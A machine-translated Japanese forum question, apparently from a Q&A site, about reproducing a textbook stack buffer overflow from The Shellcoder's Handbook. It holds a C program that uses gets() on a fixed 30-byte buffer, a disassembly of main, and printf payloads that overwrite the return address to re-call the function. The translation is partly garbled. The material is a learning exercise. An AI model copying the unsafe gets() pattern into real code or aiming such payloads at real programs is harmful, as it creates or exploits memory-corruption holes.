シェルコーダのハンドブック(2e)を読んでおり、18-23ページのスタックオーバーフローの再現を試みています。スタックオーバーフローによる命令ポインタのリダイレクト
私はこのコード
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
コンパイルがあります。主な機能のためのアセンブラコードのgcc -fno-stack-protector -o overflow overflow.c
ダンプ:
0x080483ea <main+0>: push %ebp
0x080483eb <main+1>: mov %esp,%ebp
0x080483ed <main+3>: call 0x80483c4 <return_input>
0x080483f2 <main+8>: mov $0x0,%eax
0x080483f7 <main+13>: pop %ebp
0x080483f8 <main+14>: ret
私たちは、コールのアドレスで保存されたリターンアドレスを上書きすることができますが〜return_input()
$ printf
"AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDD\xed\x83\x04\x08" | ./overflow
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDí
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDò
これにより、入力が2回印刷されます。しかし、私は入力をもう一度促されませんでした。 return_input()
への2回目の呼び出しでは、2回目の呼び出しでgets()
が呼び出されるべきではありませんか?
スタックポインタをどこに配置するのかを表す10As、10B、10C、6D、そして4文字を提供していますか? 30文字の配列を格納された返信先にあふれさせることなく、それを正確に埋めるのに十分ではありませんか? – Akron
@Akron、そうですね。私はこの本の内容を投稿しましたが、自分のマシンでこれを実行したとき、それはもっと似ていました: '$ printf 'AAAAAAAAAABBBBBBBBBBCCCCCCCCDCDDDDDDDD \ x8f \ x05 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00' ./overflow AAAAAAAAAABBBBBBBBBBCCCCCCCCDDDDDDDDDD @ AAAAAAAAAABBBBBBBBBBCCCCCCCCDDDDDDDDD @ バスエラー – Sanjay